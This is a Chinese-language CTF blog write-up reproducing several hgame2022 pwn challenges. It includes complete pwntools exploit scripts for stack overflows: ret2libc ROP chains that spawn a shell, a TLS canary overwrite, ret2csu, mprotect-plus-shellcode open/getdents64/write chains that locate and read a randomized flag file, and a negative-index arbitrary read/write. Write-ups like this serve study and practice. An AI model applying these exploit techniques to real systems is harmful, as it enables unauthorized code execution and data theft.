首页 > 其他分享 >hgame2022 复现

hgame2022 复现

时间:2022-11-23 11:56:10浏览次数:73  
标签:p64 libc ret bss hgame2022 payload pl 复现

enter the pwn land

image

pthread_create()函数:创建线程

int pthread_create(pthread_t *thread,
                   const pthread_attr_t *attr,
                   void *(*start_routine) (void *),
                   void *arg);

各个参数的含义是:

\1) pthread_t *thread:传递一个 pthread_t 类型的指针变量,也可以直接传递某个 pthread_t 类型变量的地址。pthread_t 是一种用于表示线程的数据类型,每一个 pthread_t 类型的变量都可以表示一个线程。

\2) const pthread_attr_t *attr:用于手动设置新建线程的属性,例如线程的调用策略、线程所能使用的栈内存的大小等。大部分场景中,我们都不需要手动修改线程的属性,将 attr 参数赋值为 NULL,pthread_create() 函数会采用系统默认的属性值创建线程。

\3) void (start_routine) (void ):以函数指针的方式指明新建线程需要执行的函数,该函数的参数最多有 1 个(可以省略不写),形参和返回值的类型都必须为 void 类型。void* 类型又称空指针类型,表明指针所指数据的类型是未知的。使用此类型指针时,我们通常需要先对其进行强制类型转换,然后才能正常访问指针指向的数据。

\4) void *arg:指定传递给 start_routine 函数的实参,当不需要传递任何数据时,将 arg 赋值为 NULL 即可。

pthread_join()函数:

以阻塞的方式等待thread指定的线程结束。 当函数返回时,被等待线程的资源被收回。 如果线程已经结束,那么该函数会立即返回


在这道题里,我们主要看的是pthread_create(&newthread, 0LL, test_thread, 0LL)

它生成了一个线程去执行test_thread函数:

image

在GDB中s步入到read后,我们查看栈上

可以发现一个栈地址0x7ffff7d95700和其他地址的偏移是固定的

image

可以通过地址来获取其他地址,进而通过偏移获取libc基址

libc_start_main = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x0A + 0x27890
li('libc_start_main = '+hex(libc_start_main))

libc = libc_start_main - libc.symbols['__libc_start_main']
li('libc = '+hex(libc))

其实也没必要那么麻烦,直接算也行

image

libcs = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) + 0x38f6

又或者因为本题没开FULL RELRO,利用puts的got表泄露栈地址也是可行的

pay=b'a'*(0x30-0x4)
pay+=p32(0x30-0x4)
pay+=b's'*8
pay+=p64(pop_rdi_ret)
pay+=p64(puts_got)
pay+=p64(puts_plt)
pay+=p64(main_addr)

p.sendline(pay)
p.recvline()
puts_addr=u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))
li(hex(puts_addr))

var_4是变量i在栈中的偏移,如果直接覆盖,会对i的值有所影响,后果就是要么i的值大于4095提前结束,要么覆盖到一个很远的位置,需要注意一下

image

exp:
#encoding = utf-8
from pwn import *
import os
import sys
import time
#from ae64 import AE64
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"


name = './pwn'

debug = 0
if debug:
    p = remote('39.99.242.16',10002)
else:
    p = process(name)


libcso = '/lib/x86_64-linux-gnu/libc.so.6'
#libc_name = ''
libc = ELF(libcso)

context.terminal = ['gnome-terminal','-x','sh','-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()
  

'''
pl = b'a'*0x37+b'b'
p.sendline(pl)

p.send('\n')

libc = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x0a + ...

li('libc = '+hex(libc)) 
'''


pl = b'a'*32 + b'\x0a'
p.send(pl)

libc_start_main = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x0A + 0x27890
li('libc_start_main = '+hex(libc_start_main))

libc = libc_start_main - libc.symbols['__libc_start_main']
li('libc = '+hex(libc))


sys = libc + 0x52290
li('sys = '+hex(sys))
bin_sh = libc + 0x00000000001b45bd #libc.search('/bin/sh').next()
li('bin_sh = '+hex(bin_sh))

pop_rdi_ret = 0x401313
ret = 0x40101a
test_thread = 0x4011b6


pl = b'a'*(0x30-0x4)+p32(0x30-0x4)+b'a'*8
pl += p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys)

'''
pl = b'a'*0x28 + p32(1) + p32(0x2c) + b'a'*8 
pl += p64(pop_rdi_ret+1) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys)
'''

p.sendline(pl)

p.recv()


p.interactive()

'''
def pwn():

if __name__ == '__main__':
    pwn()
'''

#print('========================================================================================')

'''
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

pop_rdx12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

bin_sh = libc + libc.search('/bin/sh').next()

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))

'''
'''
mov    rbp,QWORD PTR [rdi+0x48]
mov    rax,QWORD PTR [rbp+0x18]
lea    r13,[rbp+0x10]
mov    DWORD PTR [rbp+0x10],0x0
mov    rdi,r13
call   QWORD PTR [rax+0x28]
'''
#print('========================================================================================')


'''
def ret2libc_leak(main,got,plt,offset):
    if x64_32:
        payload = b'a'*offset + b'b'*8 + p64(rdi) + p64(got) + p64(plt) + p64(main)
    else:
        payload = b'a'*offset + b'b'*4 + p32(plt) + p32(main) + p32(got)
    return payload

def fmt_w(flag,num,offset):
    if flag==2:
        payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hn'
    elif flag==1:
        payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hhn'
'''
#print('========================================================================================')

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
#print('========================================================================================')

'''
def dbg(cmd=''):
    os.system('tmux set mouse on')
    context.terminal = ['gnome-terminal','-x','sh','-c']
    gdb.attach(p,cmd)
    pause()

command = 'b *'+ str(hex(gadget))+'\n'
dbg(command)
'''
#print('========================================================================================')


image

enter_the_evil_pwn_land

相比前一题多开了一个canary

一开始想先通过低位覆盖先泄露出canary的值

pl = b'a'*0x28
p.sendline(pl)

p.recvuntil('\x0a')
canary = u64(b'\x00'+p.recv()[:7])
li('canary  = '+hex(canary))

但问题是它在read后没有下一次输入的回手,导致我们下面无法再进行布局

image

而这个题显然又是无法爆破canary

但这里的read可以进行一个很大的溢出

image

1ULL:表示1是unsigned long long 类型(64位系统占8byte,64位)

1UL:表示1是unsigned long 类型(64位系统占8byte,64位)

1L:表示1是long 类型(64位系统占8byte,64位)

unsigned long 0~4294967295

long 2147483648~2147483647

unsigned long long:0~1844674407370955161

那就可以利用TSL(线程局部存储)攻击来改写canary

offset = 200

while True: 
    p = process('./pwn')    
    payload = b'a'*0x30
    payload += p64(0xdeadbeef)
    payload += p64(test_thread)
    payload += b'a'*(offset-len(payload)-1) 
    p.sendline(payload)
    temp = p.recvall()
    if b"*** stack smashing detected ***: terminated\n" in temp:
        offset += 1
        p.close()
    else:
        p.close()
        break
        

image

爆到了2161吗,那么其偏移为2160

i跑上面去了,这个坑没有就不用考虑了

image

main = 0x4012a3
test_thread = 0x4011D6
offset = 2160 #0x870
pop_r12_ret = 0x40135c

pl = b'a'*32
p.sendline(pl)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0xa+0x3900
li('libc_base = '+hex(libc_base))

og送入

ogs = [0xe3afe,0xe3b01,0xe3b04]
ogs = [x + libc.address for x in ogs]
og = libc_base+ogs[0]
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
li('one_gadget = '+hex(og))


pl = b'a'*0x38
pl += p64(pop_r12_ret)
pl += p64(0)*4
pl += p64(og)
pl += b'a'*(offset-len(pl))
p.sendline(pl)

image

oldfashion orw

image

image

存在一个整形溢出

p.sendlineafter('size?\n','-1')

获取栈地址:

write的got表和plt表:
pl = b'a'*0x38+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)

image

pwnlib.rop:

碰见了pwntools一个有趣的用法

from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *

rop=ROP(elf)
rop.write(1,elf.got["write"])
for i in range(0x90//6):
	rop.read(0,elf.bss(i*6))
rop.migrate(elf.bss())

p.sendafter("content?\n",b"\x00"*0x38+rop.chain())

image

csu:

与之前汇编不同的是原来r12的位置变成了r15

image

def csu(rbx, rbp, r12, r13, r14, r15, last):
   #csu(rbx, rbp, rdi, rsi, rdx, got, last)
    payload = 'a'*0x30+'b'*0x8
    payload += p64(csu_end_addr) 
    payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38	
    payload += p64(last)	
    p.send(payload)
    sleep(1)

ctfwiki:
csu(0, 1, write_got, 0x8, write_got, 1, main_addr)
# write(1,write_got,8)

正序r14->r13->r12 ->r15:
csu(rbx, rbp, r12, r13, r14, r15, last)
r12 -> 1
r13 -> write_got
r14 -> 0x8
r15 -> write_got

csu(1, write_got, 0x8, write_got)

shellcode:

def csu(r12, r13, r14, r15):

    payload= p64(gadgets1)     #gadget1
    payload+= b'b'*8                   
    payload+= p64(0)              #rbx
    payload+= p64(1)              #rbp
    payload+= p64(r12)              #r12 - 要使用的函数

    payload+= p64(r13)      # rdx - 参数1
    payload+= p64(r14)      # rsi - 参数2
    payload+= p64(r15)      # edi - 参数3

    payload+= p64(gadgets2)     #gadget2
    
    payload += b'c' * 0x38     
    #return payload 
    #注:上面加上return payload即可

pl = b'a'*0x38 + csu(1,write_got,8,write_got) + p64(main_addr)

弹了次can't concat NoneType to bytes'NoneType' object has no attribute 'encode'

def csu(r12, r13, r14, r15):
    payload = b'a'*0x38
    payload+= p64(gadgets1)     #gadget1
    payload+= b'b'*8                   
    payload+= p64(0)              #rbx
    payload+= p64(1)              #rbp
    payload+= p64(r12)              #r12 - 要使用的函数

    payload+= p64(r13)      # rdx - 参数1
    payload+= p64(r14)      # rsi - 参数2
    payload+= p64(r15)      # edi - 参数3

    payload+= p64(gadgets2)     #gadget2
    
    payload+= b'c' * 0x38   
    payload+= p64(main_addr)    
    p.sendline(payload)

csu(1,write_got,8,write_got)

image

我们获取libc基址后,便可得到系统调用syscall,下面就可以根据调用号开始构造函数

linux 系统调用号表

32位系统调用(shell):
eax:设置为系统调用号(0xb)
ebx:设置为第一个参数(/bin/sh字符串地址)
ecx:设置为第二个参数(0)
edx:设置为第三个参数(0)
 
64位系统调用(shell):
rax:(0x3b)
rdi:(/bin/sh)
rsi:(0)
rdx:(0)
OGW: 是对使用open、getdents64、write函数(或系统调用)将目录中的文件名读入指定区域的简称

由于我是对NSSCTF收录的18版本的oldfashion orw进行复现,所以这道题和原版的20版本的oldfashion orw有些差距,同时还缺少了一个提示性文件:

image

#!/bin/bash

rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./vuln

image

可以看到flag文件后面跟了长度20的随机字符串,也就是说我们没办法通过传统orw方式读取flag,需要得知存放flag文件的文件名

这时候可以利用getdents64函数来获取目录下的文件

参数一:fd指针

参数二:写入的内存区域

参数三:4096

功能:把当前文件目录下的文件名写入参数二指向的内存区域

image

ls命令是怎样实现的,getdents64,linux-2.6.27.5

”字符串“本质上是一个地址,open和getdents64函数的目录参数也是地址

我们需要在其中构造2次read函数来读取放入bss段的flag文件名

def sys(p,a1,a2,a3):
    pl = p64(pop_rax_ret) +p64(p) +p64(pop_rdi_ret) +p64(a1) +p64(pop_rsi_ret) +p64(a2) +p64(pop_rdx12_ret) +p64(a3) +p64(0) +p64(syscall)
    return pl

#OGW
ROP = csu(0,bss+0x30,4,read_got) #read(bss+0x30,4,0) first-read('./')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += sys(217,3,bss+0x100,4096) #getdents64(3,bss+0x100,4096)
ROP += csu(1,bss+0x100,200,write_got) #write(bss+0x100,200,1)

这里核心是getdents64系统调用,它读取目录文件中的一个个目录项(directory entry)并返回

我们首先在bss+0x30构造了第一个read用于下面读取'./',ogw实现将getdents64读取的目录参数读入bss+0x100,再打印出来

ROP += csu(0,bss+0x30,0x30,read_got) #read(bss+0x30,0x30,0) second-read('flag16db44a3ec6a5c404373')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += csu(3,bss+0x200,0x60,read_got) #read(bss+0x200,0x60,3)
ROP += csu(1,bss+0x200,0x60,write_got) #write(bss+0x200,0x60,1)

接受到flag文件名后我们便可以通过第二个read输入'flag16db44a3ec6a5c404373'构成 './flag16db44a3ec6a5c404373' ,然后通过orw读写放入bss+0x200段的flag文件的内容

payload = b'a'*0x38 + ROP + p64(0)
p.sendline(payload)

p.recvuntil('done!\n')
#dbg()
p.send('./') #first-read

p.recvuntil('flag')
string=p.recv(20)
string='flag'+string
li(hex(string))
p.send(string) #second-read

p.interactive()
exp:
main_addr = 0x401311
write_got = elf.got['write']
write_plt = elf.plt['write']

pop_rdi_ret = 0x401443
pop_rsi_r15_ret = 0x401441


p.sendlineafter('size?\n','-1')

gadgets2 = 0x401420
gadgets1 = 0x401436


def csu(r12, r13, r14, r15):
    
    payload= p64(gadgets1)     #gadget1
    payload+= b'b'*8                   
    payload+= p64(0)              #rbx
    payload+= p64(1)              #rbp
    payload+= p64(r12)            #r12 - 要使用的函数

    payload+= p64(r13)      # rdx - 参数1
    payload+= p64(r14)      # rsi - 参数2
    payload+= p64(r15)      # edi - 参数3

    payload+= p64(gadgets2)     #gadget2
    
    payload+= b'c' * 0x38  
    return payload 
    
pl = b'a'*0x38 + csu(1,write_got,8,write_got) + p64(main_addr) 
p.sendline(pl)

'''
p.sendafter("content?\n",b"\x00"*0x38+rop.chain())
p.recvuntil('done!\n')


libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x10E060
li('libc_base = '+hex(libc_base))
'''

'''
pl = b'a'*0x38+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendlineafter('content?\n',pl)
'''

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.symbols['write'] #- 0x10E060
li('libc_base = '+hex(libc_base))

read_got = elf.got['read']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

pop_rax_ret = libc_base + libc.search(asm('pop rax;ret;')).__next__()

pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

pop_rdx12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

syscall = libc_base + libc.sym['syscall'] #0x000000000002284d
#li(hex(syscall))


#print('==================================ogw&orw=====================================')

def sys(p,a1,a2,a3):
    pl = p64(pop_rax_ret) +p64(p) +p64(pop_rdi_ret) +p64(a1) +p64(pop_rsi_ret) +p64(a2) +p64(pop_rdx12_ret) +p64(a3) +p64(0) +p64(syscall)
    return pl

p.recvuntil('size?\n')
p.sendline('-1')

p.recvuntil('content?\n')

#OGW
ROP = csu(0,bss+0x30,4,read_got) #read(bss+0x30,4,0) first-read('./')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += sys(217,3,bss+0x100,4096) #getdents64(3,bss+0x100,4096)
ROP += csu(1,bss+0x100,200,write_got) #write(bss+0x100,200,1)

#ORW
ROP += csu(0,bss+0x30,0x30,read_got) #read(bss+0x30,0x30,0) second-read('flag16db44a3ec6a5c404373')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += csu(3,bss+0x200,0x60,read_got) #read(bss+0x200,0x60,3)
ROP += csu(1,bss+0x200,0x60,write_got) #write(bss+0x200,0x60,1)

payload = b'a'*0x38 + ROP + p64(0)
p.sendline(payload)


p.recvuntil('done!\n')
#dbg()
p.send('./') #first-read


p.recvuntil('flag')
string=p.recv(20)
string='flag'+string
li(hex(string))
p.send(string) #second-read

p.interactive()

上面exp有点麻烦,当时也没打出来

今天重新过一下这道题调出来了

#1 write(1,write_addr,0x6)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)

p.sendline(pl)

image

#2 mproject(bss,0x1000,7)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(rdx)+p64(7)+p64(mprotect)+p64(main)

p.sendline(pl)

image

image

#3 read(0,bss+0x200,0x100)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x200)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(main)
dbg()
p.send(pl)

image

#.4 OGW
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100))
shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (main))

p.send(shellcode)

p.recvuntil('flag')
flag20 = b'flag'+p.recv(20)
print(flag20) #flag16db44a3ec6a5c404373

image

#5 read(0,bss+0x400,0x100)
p.sendline('-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x400)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x400)
dbg()
p.send(pl)

image

shellcode = b''
shellcode += asm(shellcraft.open('./flag16db44a3ec6a5c404373'))
shellcode += asm(shellcraft.read(0,bss+0x600,0x100))
shellcode += asm(shellcraft.write(1,bss+0x600,0x100))
shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (main))
p.send(shellcode)

image

image

image

image

exp2:
rdi=0x0000000000401443
rsi_r15=0x0000000000401441
ret=0x000000000040101a
bss=0x404000
main = 0x401311

write_got = elf.got['write']
write_plt = elf.plt['write']
#1 write(1,write_addr,0x6)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.send(pl)
libc_base = uu64(p.recvuntil('\x7f')[-6:])-libc.sym['write']
li(hex(libc_base))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
syscall = libc_base + libc.sym['syscall']
sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
mprotect = libc_base+libc.sym['mprotect']
rdx = libc_base + 0x0000000000142c92
#2 mproject(bss,0x1000,7)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(rdx)+p64(7)+p64(mprotect)+p64(main)
p.send(pl)

#3 read(0,bss+0x200,0x100)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x200)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x200)

p.send(pl)
p.recv()

#.4 OGW
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100))
shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (main))

p.send(shellcode)

p.recvuntil('flag')
flag20 = b'flag'+p.recv(20)
print(flag20) #flag16db44a3ec6a5c404373

#5 read(0,bss+0x400,0x100)
p.sendline('-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x400)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x400)

p.send(pl)

#6 ORW
p.recvuntil('done!\n')
shellcode = b''
shellcode += asm(shellcraft.open('flag16db44a3ec6a5c404373'))
shellcode += asm(shellcraft.read(4,bss+0x600,0x100))
shellcode += asm(shellcraft.write(1,bss+0x600,0x100))
shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (main))
dbg()
p.send(shellcode)

itr()

ser_per_fa

保护全开

image

整体是一个spfa算法的程序,有后门但需要进程基址

SPFA算法 - SHHHS - 博客园 (cnblogs.com)

最后printf dist[v6],而v6没有范围限制,可以给v6输入一个负数,实现任意读,泄露程序基址和libc基址

image

libc_base:

第一次得到的带有小数点,会导致我们下面无法正常进行

pl = str(-((elf.sym['dist']-elf.got['puts'])/8))
print(pl)

sla("how many datas?\n>> ",4)
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)

p.sendlineafter('to ?\n',pl)

image

pl1 = int((puts-dist)/8)
pl = int(-((elf.sym['dist']-elf.got['puts'])/8))
#int((elf.got['puts']-elf.sym['dist']/8))
print(pl)

sla("how many datas?\n>> ",4)
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)

p.sendlineafter('to ?\n',str(pl))

image

image

proc:

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口

Linux下/proc目录简介_

泄露进程的基地址

image

#proc
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)
proc = 0x6d28
pl = int((0x6d28-dist)/8)
p.sendlineafter('to ?\n',str(pl))

p.recvuntil('is ')
proc_base = int(p.recv(15)) - 0x12e0
li('proc_base = '+hex(proc_base))

image

image

stack:

通过environ泄露stack地址

#stack
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)
pl = int((libc_base + libc.sym['environ'] - (proc_base + elf.sym['dist']))/8)

li('environ = '+hex(libc_base + libc.sym['environ']))
p.sendlineafter('to ?\n',str(pl))
p.recvuntil('is ')
stack = int(p.recv(15))
li('stack = '+hex(stack))

接下来就是感觉最麻烦的地方了:

修改main_ret为back_door,在这一次循环结束后触发

ret_addr=str(int((stack-0x100-(proc_base+elf.sym['dist']))/8))
li('ret_addr = '+hex(int(ret_addr)))

sla("nodes?\n>> ",2)
sla("edges?\n>> ",1)

p.sendlineafter("format\n","0"+ret_addr+" "+str(proc_base+backdoor))

sla("node?\n>> ",0)
sla("to ?\n>> ",0)

首先找到ret位置

image

image

进入_add函数中,利用一次任意写

image

当写入很多组数据时,num_edge也会被覆写
覆写num_edge为合适的值,实现任意写(说实话,这里任意写没看懂哈啊)

image

利用这个来修改main_ret为back_door

image

但最麻烦的就是gdb这里会被对齐卡死动不了

断点到(main+576) ◂— ret看看,没有预想的backdoor

image

还会被卡住,怪得哈,等猫猫


经高

标签:p64,libc,ret,bss,hgame2022,payload,pl,复现
From: https://www.cnblogs.com/shuzM/p/16917813.html

相关文章

  • [复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN
    hehepwn一开始泄露stack地址,然后写入shellcode返回到shellcode执行frompwnimport*context.os='linux'context.log_level="debug"context.arch='amd64'p=......
  • 复现任务
    1.实验目的和要求一、漏洞渗透测试1、靶机(Windows)安装easyfilesharingserver(efssetup_2018.zip),该服务存在漏洞。2、利用Nmap扫描发现靶机(Windows)运行......
  • [复现]2021DASCTF实战精英夏令营暨DASCTF July X CBCTF-PWN
    EasyHeap想可执行的地方写入orw的shellcode,利用tcachebin的df进行劫持malloc_hook然后调用add来触发。frompwnimport*context.os='linux'context.log_level="......
  • PyTorch复现GoogleNet学习笔记
    PyTorch复现GoogleNet学习笔记一篇简单的学习笔记,实现五类花分类,这里只介绍复现的一些细节如果想了解更多有关网络的细节,请去看论文《GoingDeeperwithConvolutions》......
  • CVE-2022-39197 复现
    CVE-2022-39197......
  • CVE-2016-5734 复现
    CVE-2016-5734漏洞简介phpMyAdmin4.0.x—4.6.2远程代码执行漏洞(CVE-2016-5734)phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将......
  • CTF取证总结(内存取证,磁盘取证)以及例题复现
    内存取证经常利用volatility分析取证文件后缀.raw、.vmem、.img常用命令(imageinfo,pslist,dumpfiles,memdump)可疑的进程(notepad,cmd)和磁盘取证结合起来考察了解部分操作系统......
  • 2021陇剑杯(真流量分析与取证杯)题目复现
    JWT看session很明显使用了jwtid和username需要去解jwt就可以得到坑点:不要只看前半部分迷惑流量没有的到权限所以说这部分流量可以忽略,往后翻这条流量权限就变成了root,所以这......
  • 2021长安杯web复现
    ez_py随便输一个账密,进入后台,存在jwt,使用jwtcrack暴力,得到secret是CTf4r登进去,发现啥东西没有,既然是python考点大概是ssti,寻找注入点就是user,绕过过滤,构造paylo......
  • ctfhub 菜鸟杯 抽老婆 超详细 复现
    一进来发现可以抽老婆,下面还有个下载按钮,有意思还可以吧,把老婆抱回家   然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥   ......